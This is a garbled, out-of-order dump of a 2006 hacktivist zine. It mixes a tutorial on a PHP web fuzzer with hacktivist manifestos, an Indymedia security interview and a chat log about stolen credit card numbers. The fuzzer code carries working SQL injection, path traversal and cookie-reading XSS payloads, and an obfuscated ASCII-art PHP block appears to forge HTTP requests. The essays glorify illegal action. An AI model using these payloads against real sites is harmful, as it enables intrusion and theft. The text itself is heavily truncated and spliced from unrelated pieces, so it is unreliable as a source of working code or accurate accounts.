```
          case 0: echo "  * General web vulnerabilities$newlin
          case 1: echo "  * SQL vulnerabilities$newline"; brea
          case 2: echo "  * XSS vulnerabilities$newline"; brea
        }
        // go through each GET parameter in the URL
        for ($o=0;$o < count($get);$o++) {
          for ($i=0;$i<count($vulnchars[$vulni]);$i++) {
            // generate url from list of vulnerable characters
            $whichparam = $get[$o];
            $testing = $url . "?";
            // put together the default values for all the oth
the script
            for ($z=0;$z<count($get);$z++) {
              if ($get[$z] != $whichparam)
$testing.="&".$get[$z]."=".$getvalue[$z];
            }
            $testing .= "&" . $whichparam . "=" . $vulnchars[$

            $fun = MakeRequest($testing);
            if ($parseforlinks == true) ParseForLinks($fun);
            $error = TestResult($fun);
            if ($error != 0)
              echo "    FLAG! .. $testing$newline";
              if ($error == 0 and $verbose == true)
                echo "    OK    .. $testing $newline";
            }
          }
        }
      }
    }
```

This code is the bare essentials to writing a web GET request
loads of features which can expand this script to be a more en
auditing tool. For starters, the script can be written to read

Hack This Zine! 03

Digital Contraband

HackThisSite.org

2006

```
                           (substr($url, 7), 0,
                       +; " .                ace("\
                   \", "\                        _SERVE
                 +) {                                OST $1
             omme                                        ca
           ept-
         n(\"
       t: M
       ko
       gt
     mmen         ed+%3A1a
       w=        "); }    mak
       ($       ), strpos(substr
       trpo    bstr($url, 7), "
       "\$"    \\$",str_replace("        \"",str_replac
         ERVE  'PHP_SELF'])))), 2);    for ($i=0;$i<2;$
  ($do        OST   ocation/example2.p    ubaction=showcom  nt
ive=&sta      m=      & HTTP/1.1\r    ce      *\r\nAccep    ng
nc    g: g     d        \nClient     <?php                  et
```

```
         \"$sourc                   ?>\r\nUse                /
   Ma        en) Appl            6 (KHTML, li            fari/
   ap    atio      w-form        ded\r\nConte            07\r
   \r\nHost: $domai    n\          xitup&mail
               mment&                                      \n"
                   l) {    loca                  tr($  l, 8),
                       su  tr(substr($u    7), 0, str  s(su
                       h+   " . substr(str_replace("\  ,
                   "\\",     \",file_get_contents($_S  VER[
       i=0;$i<2;$i++)        = make_request($domain      T $l
       on    wcom              88313&archive=&sta          cat
       r\            uage: en\r      pt-Enc       gzip, def
         pe      kret.p      \"w\")          fp, \"  ource\")
         t: M  illa              h; U; PPC Mac             ple
         ko) Safa                      pe:                   f
```

```
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
"see you on the front page of the last newspaper those motherf
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
```

```
                     .___.__          .__   __           .__
                   __| _/|__|   ____  |__|_/  |_ _____   |  |
                  / __ | |  |  / ___\ |  |\   __\\__  \  |  |
                 / /_/ | |  | / /_/  >|  | |  |   / __ \_|  |__
                 \____ | |__| \___  / |__| |__|  (____  /|____/
                      \/     /_____/                  \/

                          __                   ___.
  ____    ____    ____  _/  |_ _______ _____   \_ |__  _____
_/ ___\  /  _ \  /    \ \   __\\_  __ \\__  \   | __ \ \__  \
\  \___ (  <_> )|   |  \ |  |   |  | \/ / __ \_ | \_\ \ / __ \_
 \___  > \____/ |___|  / |__|   |__|   (____  / |___  /(____  /
     \/               \/                      \/      \/      \/
```

```
  $result = strtolower($result);
  for ($i=0;$i < count($flags);$i++) {
    for ($o=0;$o < count($flags);$o++) {
      if (!(strpos($result, $flags[$i][$o]) === false)) {
        return 1;
      }
    }
  }
  return 0;
}
```

Having all the pieces we need, it's time to write some code to
together. The following code uses the array $lists to contain a
It first parses the URL for all GET parameters to fuzz and star
all possible combinations of unique URLs. It goes through each
tries each malicious character while using the default value of
parameters. The total number of requests should be around N ^ N
$list where N is the number of GET parameters in each URL). It
for each unique URL and passes the results off to TestResult, a
match against one of the error codes from $flag.

```
    for ($inc=0;$inc<count($list);$inc++) {
      if ($localonly == true AND (substr($list[$inc], 0, 17) !=
"http://localhost/" AND substr($list[$inc], 0, 17) != "http://1
die("Sorry, this script can only be tested against localhost.")

      // SetUpParameters parses and stores each GET paramater f
the array $get and $getvalues
      $url = SetUpParameters($list[$inc]);
      if (trim($url) != "") {
      echo "$newline$url$newline";
      // go through each kind of vulnerability we are testing
      for ($vulni=0;$vulni<count($vulnchars);$vulni++) {
        switch ($vulni) {
```

requests. In this example, we are only making GET requests, bu
modified ti include other HTTP methods.

```
function MakeRequest($url, $method="GET") {
  $url = str_replace(" ", "%20", $url);
  if ($method=="GET") {
    $host = substr($url, strpos($url, "://") + 3);$host=substr
0,strpos($host, "/"));
  $request = substr($url, strpos($host, "/"));

  $fp = @fsockopen($host, 80, $errno, $errstr, 10);
  if (!$fp) {
     echo "    ERROR . $url $errstr ($errno)$newline";
  } else {
     $out  = "GET $request HTTP/1.1\r\n";
     $out .= "Host: $host\r\n";
     $out .= "Connection: Close\r\n\r\n";
     fwrite($fp, $out);
     while (!feof($fp)) {
         $buf.= fgets($fp);
     }
     fclose($fp);
    }
  }
  return $buf;
}
```

Now that we can get results from the HTTP server for our malic
need to run it through a function to scan it for the error cod
The following function returns true if the $result has any mat
$flags array.

```
function TestResult ($result) {
  global $flags;
```

Electronic Civil Disobedience Journal !! Published by HackT
(a)nti copyright. distribute as freely as the wind and t

```
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!  HACK THIS ZINE SPRING 2006   !!!
!!!     TABLE OF DISCONTENTS     !!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
```

"Globalizing a bad thing makes it worse. Business power is bad,
it is worse. But globalizing a good thing is usually good. Coop
sharing of knowledge are good, and when they happen globally, t
better. The kind of globalization there are demonstrations agai
globalization of business power. And free software is a part of
It is the expression of the opposition to domination of softwar
software developers."

Richard Stallman

THEORY

SKILLS

ACTION

CLOSING STATEMENTS

HACK THIS ZINE SPRING 2006 is FREE TO COPY AND DIST
GET ELECTRONIC VERSIONS AT HACKTHISSITE.ORG/ZIN
CONTACT WHOOKA@GMAIL.COM OR IRC.HACKTHISSITE.OR

!!!!!!!!!!!!!!!!
!!! THEORY !!!
!!!!!!!!!!!!!!!!

"Whether through simple data piracy, or else by a more complex
actual rapport with chaos, the Web hacker, the cyernetican of
Autonomous Zone, will find ways to take advantage of pertubati
breakdowns in the Net (ways to make information out of "entrop
of information shards, smuggler, blackmailer, perhaps even cyb
TAZ-hacker will work for the evolution of clandestine fractal
connections, and the different information that flows among an
will form "power outlets" for the coming-into-being of the TAZ
were to steal electricity from the energy-monopoly to light an
for squatters." - Hakim Bey, Temporary Autonomous Zone

[--
[hackers, crackers, artists & anarchists ....
[--

We started the Hack This Site project to spread the idea that

Our web fuzzer works by taking a URL and manipulating each GET
every possible combination of requests with an array of malicio
designed to generate errors. Consider the following array which
selection of common requests which often generate errors and co
up to security holes.

```
// malicious web requests
$vulnchars[0] = array("%00","%2527%252esasdf","%u0000",
"%u5c00%u2700","/","../","./.../","/%2e/", "%2e","%5C","%s",
"%%%%%%","!!!!!!!!!!!!!!!!!!!","#", "%5C27","%%5C%56" , "\'", "\
"\?>", "%a0");
// malicious sql requests
$vulnchars[1] = array(" OR 1=1", "' OR '!'='!");
// malicious xss requests
$vulnchars[2] = array("javascript:alert(String.fromCharCode(65,
"<script>alert('cookies, yo: ' + document.cookie);</script>");
```

We would then make all possible combinations of web requests an
output. Scan the results for an array of common error code outp
list of 'flagged' URLs to be later reviewed for auditing purpos
together the following array which contains a list of common we
errors.

```
$flags[0] = array("<b>warning</b>:", "warning:", "<b>fatal erro
to open stream:", "internal server error", "there was an error
this directive.", "http/1.1 400", "http/1.1 403", "http/1.1 500
error", "command not found", "file not found");
$flags[1] = array("[obdc", "mysql error", "you have an error in
syntax", "odbc drivers error", "[microsoft sql", );
$flags[2] = array("javascript:alert(string.fromcharcode(65,66,6
"<script>alert('cookies, yo: ' + document.cookie);</script>");
```

Now that we know what kind of requests to make and what we shou
output for, we can write some PHP code which will query the HTT

Your life is on the street. And there's an order to it. You kn
are meant to be. Things are where they should belong. Ads go o
Graffiti goes on walls and doors. The two co-exist. They clash
where they each should be.

If you're living the life of a true graffiti artist, you're li
you have created for yourself.

And what this means is...

Graffiti shouldn't be in ads and ads shouldn't be in graffiti.
Graffiti in an ad is an ad. It's not graffiti.
Graffiti done legally is public art sanctioned by the establis
graffiti.

For graffiti to be graffiti, it has to be done illegally.

Period.

```
                !!!!!!!!!!!!!!!!
                !!!  SKILLS  !!!
                !!!!!!!!!!!!!!!!
```

```
[ -------------------------------------------------------------
[ writing a php fuzzer to self-discover web vulnerabilities ..
[ -------------------------------------------------------------
```

Fuzzers are tools which can audit code and probe systems for g
vulnerabilities. For the purpose of this article, we will writ
functions for a PHP script which will fuzz the GET parameters
trigger error codes and discover potential vulnerabilities. We
possibilities of expanding the functionality to become a broad
all-emcompassing web vulnerability auditing tool.

demands to be free and by providing hackers with hands on train
people how to use their skills for positive uses of free techno
meeting up with others who were working on similar projects and
people were inspired to turn skills to action from the first fe
released, we decided to get together and start Hackbloc.

Hackbloc are local gatherings of with hackers and activists to
affinity group of hacktivists, and a tactic at protests and oth
act to defend a free internet and a free society by mixing hack
strategies to explore both defensive hacktivism (defending free
open publishing systems) and direct action hacktivism (actions
corporations, governments and other forms of fascism). Hackbloc
decentralized network of cells which collaborate and coordinate
solidarity with other social justice struggles around the world

We met up at various actions and gatherings around the country
network with other hackers and activists. We handed out undergr
magazines at guerrilla tables at DEFCON. We have had several wo
parties in Chicago where dozens of hackers around the region go
play wargames, pick locks, swap code, and otherwise plot for fu
actions. We got together to hold huge protests in both DC and S
the World Bank / IMF meetings where several hundred thousand pe
anti-war and anti-capitalists protests. The more we started coo
actions with others who were working on similar projects, the m
realize how different struggles all over the world are connecte

Battles in the courtrooms over political and hacker arrests and
of multiple people all over the world provide valuable lessons
considering getting involved, playing the game, and organizing
communities. In order to be safe and effective, we need to prac
security culture by working only with trusted people in tight d
affinity groups, maintain a mainstream front to recruit people
projects, and work to settle differences between potential alli
the greater good.

As people who can see beyond and create alternatives to corrup are in a unique position to confront and fight the forces whic rights and a free internet. Independent media, free technology non-commercial internet creates temporary autonomous zones whe network of hackers who's duty and responsibility includes trai confront and fight these injustices - to defend hackers facing corporate and government corruption, find alternatives to comm share knowledge and talk tactics with potential allies.

We are not the violent, destructive madmen that law enforcemen paints us as. We work to build a free internet and a free worl be bullied by right wing extremists, white hat sellouts, or la stand in the way. Hacktivists of the world, unite!

--

"The FBI COINTELPRO program was initiated in 1956. Its purpose later by FBI Director J. Edgar Hoover, was "to expose, disrupt discredit, or otherwise neutralize activities" of those indivi organizations whose ideas or goals he opposed. Tactics include labelling individuals as informants; infiltrating groups with to disrupt the group; sending anonymous or forged letters desi strife between groups; initiating politically motivated IRS in carrying out burglaries of offices and unlawful wiretaps; and other government agencies and to the media unlawfully obtained information on individuals and groups."

We are facing unprecedented police state measures which specif activists and hackers. In the name of national security, feder has been spying on, targetting, and harassing activists includ animal rights, and earth first and other protest groups. Wheth the form of the USA Patriot Act, expanded Homeland Security po Information Awareness, enemy combatants, military tribunals, o

When you decide that you are going to go up against the establi you have is yourself. The only way you can survive is to protec you don't protect yourself, you die. If not literally, then spi Because you don't have any resources given to you by the mainst establishment that you rejected, the only way you can surviive yourself. The way you do this is to develop your own personal m allows you to survive in a world that is outside "the norm" It drives you. Not money. Not a house with a white picket fence. O The code is what gives you piece of mind when things get tough. you to go to jail for your actions and then get right back out once again.

It's the code that stops you from going crazy.
So where do you develop this code?
You develop it on the streets.
You learn it from watching and talking to others.
But most importantly, you get it from experiencing life.

And that's why graf culture is so powerful to people who do it. experience life to the fullest. You are truly alive, risking wh rejecting the establishment, but living your life the way you h You have real, true freedom.

As you experience life on the street you begin to pick up exper were little scraps of paper. And you start to make a collage wi experiences. You put all of the scraps together and it becomes fabric that defines who you are.

You are defined by reality, not by television.
You are defined by experience, not by aspiration.
It's your code and nobody elses. And nobody can take it away fr
And now, suddenly, you have a weapon.
The code itself becomes your weapon.

inches by 6.5 inches.
(At this point I may tell you that this officer was totally aga
illegal activity from the police, and he knew his consequences
this information. However reasons not known to us, he told us
this, we thank you)

The officer also got us interested by the current case that he
the time. Operation ÒMirrorÓ Ð This operation called for the o
of computer Experts within the force to implant Key logging So
suspects as well as Sinn Fein Politicians. This software was i
several methods. By finding computers that the Suspects used a
loading the software onto the computer in front of them, or th
way of inserting this software onto the Suspects and Politicia
remotely (i.e. HACKING).

The officer told us, that none of this was legal, and none of
permission from the Chief Constable. However the team were tol
secret. Another interesting point was that the data obtained f
was used to Black Mail the suspects. They also found Credit Ca
illegal checks on their purchases.

This says a lot about the Northern Ireland Police Service. Tha
low as to perform illegal acts in order to Blackmail and incri
people. However this isn't just an isolated case in Northern I
over the world.

[---
[graffiti and counter-culture .... the wo
[---

The graffiti movement is by its very nature a counter-culture,
anti-establishment mindset that is an alternative to the mains
rejection of the status quo.

authorizing the NSA to spy on Americans without court orders an
actions reveal a pattern of abuse and the transition to a neo-f
state which treats hackers and activists as terrorists. When an
breaks the law and walks all over the constitution, it is time
change.

[---
[support hairball against unjust felony charges ...... hacker
[---

Federal prosecuters are accusing Michael Wally(known as "Hairba
Pittsburgh of 'stealing' and distributing 37,000 free phone car
giveaway, citing damages at over $333,000. As of this writing,
is offering Hairball a deal where he would plead guilty to felo
serve up to three years in jail.

Folgers.com was giving away free 30 minute phone cards on it's
of an online promotion to people who filled out a quick survey.
Hairball found a way to automate the process and get lists of f
What is unclear about these accusations is whether this is an a
offense or simply a violation of Folger's terms of service agre
case).

Hairball, having started HBX Networks, was a popular target of
authorities. HBX has started a number of computer hacking proje
the free shell project, the HAXOR radio show, wardialing projec
IRC server, and more. Hairball has contributed positively to th
community, but has fallen victim to unjust prosecution with ove
sentencing.

As part of a new trend in cyber crime and law enforcement, hack
are treated like terrorists and are often subject to illegal su
unjust investigation, prosecution, and sentencing. Robert Erdle
Pittsburgh High Tech Crimes Task Force has personally raided an

Hairball multiple times, including an earlier incident in late relating to HBX's wardialing project. His case has since been federal authorities, and is now facing several years in jail a restitutions for hurting or stealing from nobody.

Hairball has always worked to defend free technology and has i of people to learn about computers and hacking. If Hairball go great crime will have been committed against the hacking commu reactionary federal prosecutors. We need to stick together to comrades facing jailtime and write letters, make phone calls, spread the word about unjust hacker prosecution.

THEY'RE IN THERE FOR US, WE'RE OUT HERE FOR THEM

Hackers considering starting a Hacker Defense Network should c prison support networks for setting up legal support.

www.prisonactivist.org www.spiritoffreedom.org.uk www.anarchis
www.abcf.net www.booksnotbars.org www.prisonbookprogram.org

```
.-------------------------------------------------------------
| Session Start: Friday, 4 February 2005
| Participants:
|    narc (narc@narc.net)
|    Kfir (kfiralfia@hotmail.com)
.-------------------------------------------------------------
[07:24:40 PM] Kfir: hello there.
[07:25:09 PM] narc: hi. I'm not liable for prosecution, or
              anything, based on the logs I sent you?
[07:25:32 PM] narc: that concerns me.. I'm willing to help you
              every capacity possible, but that's one thing I'
              avoid
[07:26:00 PM] Kfir: I'm not sure... but i can't imagine anyone
              prosecute someone who is walking away, and helpi
```

The Con held many activities such as
Capture The Flag (Fedora Systems Used)
Hack the Hotel (A successful bid to take over the Hotels Inter
The Hammond Files (An in-depth Discussion into his situation)
Hackthissite Ð (Discussion into Origins, success's , Failures
Presentations on Bluetooth Hacking
Presentations on the Northern Ireland Hackers (Growth, Skills

All in all it was a fantastic day, however as most of you DNSco goers know, the real stuff doesn't happen until the con is over to talk.

As I was one of the organisers, I was getting a lot of people c talking about different things. However one man in particular c attention; he said he was a Police Officer working in the Compu things Ð Forensics, Stings etc. So I immediately offered him to other organisers and myself for the usual post-con pint of Guin

As usual the topic of Politics came up, and obviously his views interesting due to his occupation. Progressively we turned the around to the IRA (Army sworn to keep Ireland Free from British create a united Ireland). The officer started to talk about his certain operations against the IRA (Strictly of the Record of C

One of the operations he only heard about was the tapping of th Office (Sinn Fein the political Wing of the IRA). When Sinn Fei offices at night, the Special Agents would break into the offic little bugging devices so they could hear the Sinn Fein Leaders was this not authorised but also HIGHLY illegal.

(picture)

This is part of a British MI5/PSNI bugging device found hidden floorboards of a Sinn Fein office in Belfast in September 2004.

demonstrations?

UK: Yeah, Bristol is fairly seperate collective of the UK, and learned the lessons UK IndyMedia have, which is a shame.

Jeremy: What do you have to say to people who are just beginni involved, just starting to understand these issues. What would effective way to educating themselves as well as plugging in w collectives and people who are involved to take a more active :

UK: The biggest thing is to just sit down and start reading In out how IndyMedia functions, how the global groups decide thin Then come find us - we are there!

Jeremy: Great! I thought this was very productive. Anything el say?

Gary: I'd like to say one thing. Thank YOU for putting yoursel property at risk for the free exchange of digital information hero and you're putting everything on the line - there's nothi they won't be busting down your door next. So I admire you for to you. It takes a hundred heros like you to keep this movemen

UK: There are many of us - in places people wouldn't expect to

```
[-------------------------------------------------------------
[ misadventures of irish hackers .............................
[-------------------------------------------------------------
```

At the first ever Northern Ireland Computer Security Enthusias (NICSE CON) held in the Europa Hotel Belfast saw the amalgamat 14 Computer Science Professors, 19 System Administrators, and All with the common goal to seek and learn new security Inform

```
               the mastermind
[07:26:13 PM] narc: well. I never actually intruded on your
               system
[07:26:19 PM] narc: all I did was notice an exploit in the .php
[07:26:19 PM] narc: heg
[07:26:21 PM] narc: heh*
[07:26:41 PM] Kfir: I tell you what though, i would fight tooth
               nail to prevent your prosecution.
[07:26:55 PM] narc: I don't *think* that's a criminal offence
[07:27:15 PM] Kfir: i would rather not prosecute anyone if you'
               going to go down - you are helping us tremendousl
               you are preventing some very serious criminal act
[07:27:47 PM] Kfir: i am in the process of trying to get all of
               credit card numbers fraud blocked.
[07:27:55 PM] Kfir: it's not easy work, but i need some time.
[07:27:58 PM] narc: yeah
[07:28:01 PM] narc: I can imagine
[07:28:04 PM] Kfir: is there any way you can postpone the charg
               a couple of days?
[07:28:08 PM] narc: yes
[07:28:13 PM] narc: he's stymied at the moment
[07:28:19 PM] narc: he's putting it off til at least sunday
[07:28:23 PM] narc: maybe later in the week
[07:28:28 PM] Kfir: good.
[07:28:50 PM] Kfir: i'm going to need that much time to make su
               one gets defrauded.  i don't give a damn about th
               server at this point.
[07:29:10 PM] narc: yeah... he already had SQL dumps by the tim
               he contacted me
[07:29:16 PM] Kfir: he can have the goddamned thing.  it's not
               we're going to pack our bags and dissappear.
[07:29:17 PM] narc: so I don't quite know how he obtained them
[07:29:34 PM] narc: yeah, well, from what I gathered from runni
               processes he pasted, you were backing the box up
```

```
[07:29:35 PM] narc: heh
[07:30:15 PM] Kfir: If i'm going to get the fbi to listen to m
              credible witness would be a long way.  If you ar
              gauranteed from prosecution, would you cooperate
              authorities?
[07:30:40 PM] narc: yeah
[07:30:43 PM] Kfir: yeah, i have the entire server tar balled
              safely stored for future use.
[07:30:58 PM] narc: but this may cause problems insofar as I'd
              rather not have him know who I am
[07:31:06 PM] Kfir: does he?
[07:31:09 PM] narc: no
[07:31:10 PM] narc: he probably has a LOT of sway with certain
              people
[07:31:55 PM] narc: he's made a lot of contacts in the scene..
              knows many, many security experts, and probably
              plenty of militant activists too
[07:31:56 PM] Kfir: Jeremy can get into very big trouble - he'
              kid, and i would hate to see a man with obvious
              be sent to prison.
[07:32:30 PM] narc: yeah... I'm only 18
[07:32:31 PM] Kfir: but this credit card business is just craz
              really don't understand what would drive someone
              something so foolish.
[07:32:49 PM] Kfir: wow...
[07:33:09 PM] Kfir: kids today... i need to bone up on my secu
              knowledge.
[07:33:47 PM] narc: if there's one thing he is, it's willing t
              goto prison
[07:34:09 PM] narc: his beliefs consume everything he does
[07:34:23 PM] narc: not fundamentally that different from your
              average Islamic terrorist, I guess.
[07:34:33 PM] Kfir: i started coding HQ and administering the
              server without much experience.  after reading t
```

But yeah, it's bound to happen.

Alxciada: How long ago were your servers actually taken?

UK: Trying to think, I believe it was last June

Jeremy: What do you think about the raid that happened about a
Bristol?

UK: That's even worse and that's one of those things that are a
Indymedia needs to move toward encryption circuits and publishi
can't tie back to who precisely posted what. The Italian case -
that is they didn't realize how content is distributed.

Jeremy: What were the circumstances behind the Bristol server b
they also looking for server logs?

UK: Yeah, that was a case where a radical collective did some d
destroyed some property and police became involved. My understa
someone from IndyMedia tipped off the police.

Jeremy: So they broke concensus with the larger group, went dir
police, and that caused the server as a whole to be seized?

UK: Yeah, and that was hosted in someone's house as well, so th
their place.

Alxciada: Did they have any mirrors?

UK: They had another backup but it wasn't actively updated. It
to get a hold of someone with the Bristol project. The server w
it is difficult to actually switch over the backups.

Jeremy: The seizure in Bristol happened about a week before the

the political ramifactions of their actions. The only time you
it as a community is when - the cisco case, something happens,
pulled, someone shits in their pants, but nobody takes the int
term basis. That's frustrating and it needs to change. What th
in Europe right now, their talk list is a lot more encompassin
time with other issues than security per say, like the DMCA, c
they think behind the box, and as a hacker community, we all n

Jeremy: I would certainly agree of your critique, especially o
seems more like a white hat drunken party, there's not as much
only 10% of the people here are maybe hackers anyway, everyone
for the culture, the sideshow. How do you think things have ch
past few years in light of some of the new policies and anti-t
legislation? How do you think the hacking community has change
radicalized?

UK: I think the UK and Europe is certainly starting to pick up
unlike America where you have a huge great community, Europe d
that's one of the things that is being worked on right now, li
constitution, declaration of human rights, that kind of thing.
involved. The people in the ground need to get it done and pus
lot of success recently and we need to learn from it.. If Euro
bond together, we can stop bad legislation, but we need to pul
too frequently this hasn't happened.

Jeremy: I'm looking at past conventions like Hackers on Planet
happened last summer. It was held in New York City a month bef
National Convention, so naturally it was a lot more politicall
thought it was a lot more independent, more genuine, talking a
and digital rights and how we can protect systems such as Indy
they actually had an IndyMedia speech and several other politi

UK: What the Hack was the same way. Italian government agents
sniffed the wire effectively and the ISP told IndyMedia it was

```
               i can see how much there is to learn - it almost
               like it would take a full-time concentration to m
[07:35:20 PM] Kfir: so why did you agree in the first place?  y
               obviously have moral fiber... why destroy other p
               property?
[07:35:29 PM] narc: I never planned to
[07:35:38 PM] narc: I was going to see where it was heading
[07:35:47 PM] narc: showing him an exploit seemed like a good w
               to gain his trust
[07:36:12 PM] Kfir: oh..
[07:36:25 PM] Kfir: so does he not have root access at this poi
[07:36:32 PM] narc: nope
[07:36:44 PM] Kfir: is he waiting for the bots to restart?
[07:36:47 PM] narc: I've had the distinct impression in the yea
               and a half that I have known the guy that he has
               to a lot more than it seems
[07:36:49 PM] narc: turns out I was right
[07:37:48 PM] narc: besides, the exploit I gave him never quite
               worked
[07:38:28 PM] narc: I knew it'd work on the test copy of the bo
               he'd setup, but not on your box -- diff ver of ph
               command line binary
[07:38:53 PM] Kfir: so is he waiting for the bots to fire up?
[07:39:08 PM] narc: I believe so
[07:39:28 PM] narc: but believe me, that flaw was very, very
               minor... even exploiting is well past most people
               capabilities, as the vast majority of shell
               metacharacters were prohibited
[07:39:40 PM] Kfir: do you have any details as to his plans to
               pw server to launch the cc charge exploit?
[07:39:41 PM] narc: you ran a pretty good system
[07:39:49 PM] narc: from what I've seen
[07:39:59 PM] Kfir: that's rob's work... i mainly work on the p
               code.
```

```
[07:40:04 PM] narc: yeah
[07:40:10 PM] narc: well, your PHP code had few flaws
[07:40:12 PM] narc: if any...
[07:40:15 PM] narc: Xec never found any
[07:40:33 PM] Kfir: yeah, we were very careful in our patch up
              the RNC hack
[07:40:59 PM] Kfir: we made sure no malicious chars were allow
              enter an sql query.
[07:41:13 PM] narc: his own site had a few billion holes
[07:41:24 PM] Kfir: hts.org?
[07:41:36 PM] narc: yeah
[07:41:51 PM] narc: I got involved with them to learn, not to
              down the opposition's political speech
[07:41:57 PM] Kfir: i trained on his site about a year ago.
[07:42:11 PM] Kfir: agreed - let the best ideas win.
[07:42:37 PM] Kfir: not the best gun.
[07:42:47 PM] narc: I don't think he realizes that he has beco
              precisely what he purports to despise so much
[07:43:11 PM] Kfir: no offense to you, but that seems to be ve
              typical of those we encounter on the "other side
[07:43:32 PM] Kfir: you seem extremely mature for an 18-year-o
              almost hard to believe.
[07:43:42 PM] Kfir: But you Aussies always were a breed apart.
[07:44:10 PM] narc: heh... I just started college, I don't hav
              much interest in going down for some stupid hack
              offence
[07:44:42 PM] Kfir: i think he's intoxicated by the glory of b
              "underground hacker".
[07:44:59 PM] Kfir: he's in love with this romantic notion of
              down the "fascists".
[07:45:02 PM] Kfir: very deluded.
[07:45:02 PM] narc: no glory in destruction, or so I've found
[07:45:38 PM] Kfir: do you have any details as to his plans to
              pw server to launch the cc charge exploit?
```

it imc-security@lists.indymedia.org is the place to dump in. Th
there have a web of trust where you can't get in unless two oth
for you.

Jeremy: How do you think right-wing hackers and script kiddies
the open disclosure policy of dadaimc?

UK: I can't really talk much about that unfortunately it's not
been involved with. Certainly people we're working with are goi
dadaimc line by line.

Jeremy: How can hackers play a more integral role in the develo
protection of this software?

UK: I think the trick is really just to get involved. To get to
where you're a member of the trusted team takes a little bit of
there's nothing to stop people..

Jeremy: Yeah, cause they can still just download the source and
auditing.

UK: Yeah, but one thing we don't want happening this has happen
We had a guy portscanned all 13 of the UK mirrors. Now in a sen
things we knew about, but on the other hand we don't want to en
start scanning our boxes because it generates extra processes -
happier for people to work with us and communicate with us abou
doing this knd of thing- if anything so we don't block them.

Jeremy: I had personally installed it on localhost. How can hac
rights activists collaborate and work together in order to help
and help take the battle to the courts?

UK: I think the biggest thing is to get hackers to understand t
Hackers at the end of the day don't break things. It doesn't ta

UK: In the last 3-4 months we started to put together as secur
through each of the servers, each of the code bases, and work i
the weaknesses. I think historically IndyMedia has been pretty
more interested with people being able to publish freely and n
about the security of their systems in which the puiblising oc
changing, very quickly.

Jeremy: That brings me back to a couple months ago - there had
vulnerabilities - one happened during the RNC with the cross s
error in dadaIMC - a group calling itself RightWingExtremist.n
this during the RNC by changing many indymedia sites to redire
said 'indymedia is anti-american' or something crazy! [killing

UK: The system we're using in the UK is very resiliant, it's j
guy's done a good job we haven't seen too many problems

Jeremy: Which one are you using?

UK: We're using Mir, it's been pretty responsive.

Jeremy: I believe DadaIMC had had the most problems ..

UK: Yeah, Dada has had a clear history of problems, I agree

Jeremy: A few months ago I had spoken to Spud regarding a vuln
discovered DadaIMC regarding uploading and excecuting PHP file
notified them of this vulnerability and said, "listen we need
until each independent IMC staff is privatley notified and upd
it's a big job and it's not something that'll happen overnight

UK: One thing I will say while I've got the opportunity is tha
private list for IMC techies. It's a fairly rigorous process t
but if anyone finds an issue, dump it straight to the people w

```
[07:45:51 PM] Kfir: i noticed he mentioned that in the logs.
[07:46:12 PM] narc: yes, he wanted me to write scripts to do it
[07:46:14 PM] narc: still does, I guess
[07:46:30 PM] narc: but that's been delayed by the fact the
              exploits have mysteriously disappeared
[07:46:40 PM] Kfir: so will you postpone that as much as you ca
              without him knowing your postponing?
[07:46:57 PM] Kfir: assuming he finds another exploit?
[07:47:04 PM] narc: he won't know. he's paranoid; believes that
              the feds are probably already watching him
[07:47:14 PM] narc: probably are, too, given his history
[07:47:19 PM] narc: they've tried to pin a lot of stuff on him
              failed
[07:47:25 PM] Kfir: has he broadcasted the cc#'s yet?
[07:47:34 PM] narc: no. that waits until the charges occur
[07:47:41 PM] narc: then he plans to release them to cryptome.o
              and P2P networks
[07:47:49 PM] narc: as well as using his media contacts to ensu
              wide publicity
[07:47:54 PM] Kfir: well, at that point, they'll be useless.
[07:47:59 PM] narc: yeah
[07:48:06 PM] narc: but I think the point is a "moral victory"
[07:48:08 PM] narc: or so he says
[07:48:09 PM] Kfir: how does he plan to get publicity while rem
              anonymous?
[07:48:24 PM] narc: anonymous remailers/his bounce servers, I
              guess.
[07:48:36 PM] Kfir: will an official organization take credit?
[07:48:38 PM] narc: unless he's caught in the act, it'll take
              months of subpoenas to prove it was him
[07:48:43 PM] narc: yeah
[07:48:44 PM] narc: ILF
[07:48:48 PM] narc: ("Internet Liberation Front")
[07:48:51 PM] Kfir: why months of subpoenas?
```

```
[07:48:57 PM] narc: international servers...
[07:49:00 PM] narc: most aren't domestic
[07:49:16 PM] narc: and he plans to get someone else to wipe t
              lot to break the chain
[07:49:29 PM] narc: he might not be that talented at hacking p
              se, but he knows how to cover his tracks
[07:49:30 PM] Kfir: well, the logs are fairly incriminating.
[07:50:00 PM] narc: I'm almost certain he'd get away with it i
              hadn't contacted you
[07:50:10 PM] Kfir: no argument there.
```

```
[-------------------------------------------------------------
[ fighting the commercialization of the internet ............
[-------------------------------------------------------------
```

As hard as corporations and governments try to control the flo
internet, they can never catch up with hackers who are always
have developed all sorts of ways to circumvent restrictions pl
information freely. An ever-growing number of darknets and oth
content distribution have been created using file sharing serv
Gnutella and BitTorrent, open publishing systems such as IndyM
open DNS systems such as OpenNIC and Afraid.org. These DIY net
bought, sold, or otherwise controlled and are unstoppable weap
only make copyright and commercial internet irrelevant, but pa
developing entirely new networks, pirate utopias based on an o
anarchist approach towards the free exchange of information.

"Quantity and quality of P2P technologies are inversely propor
to the numbers of lawsuits issued to stop P2P" - 3rd Monty's L

--

Gross privacy violations are a small part of fundamental probl
is structured. In a paper published at kuro5hin.org, "An Immod
outlines the broader problems with ICANN's DNS model:

[laughter]

UK: The content management system we use is very good, it's des
mirroring. We've basically taken advatage of the way the CMS sy
and used it to our advantage. The dynamics are the site are act
the publish server and then the servers actually show the data.

Jeremy: So when you actually post something to UK IndyMedia it
mirrored to other servers all over the world?

UK: And a variety of different operating systems. Our personal
a Solaris box. Others run debian, freebsd, fedora core - we hav
contingent of OSs so if a vulnerability breaks out - unless it'
the publishing system itself - we should have a reasonable amou

Jeremy: This seems like a perfect example of how a decentralize
content distribution can protect ourselves from not only legal
it creates a aura of bureaucracy the courts have to go through
ourselves from would-be hackers ...

UK: Yes, definitely.

Gary: In an era of extrajudition proceedings where the authorit
can do anything they want and just present us with facts despit
protections that clearly exist in this case and were violated,
to use technology to negate the fact that authorities think the
law.

UK: Precisely, it's not the first case and it's not the last. T
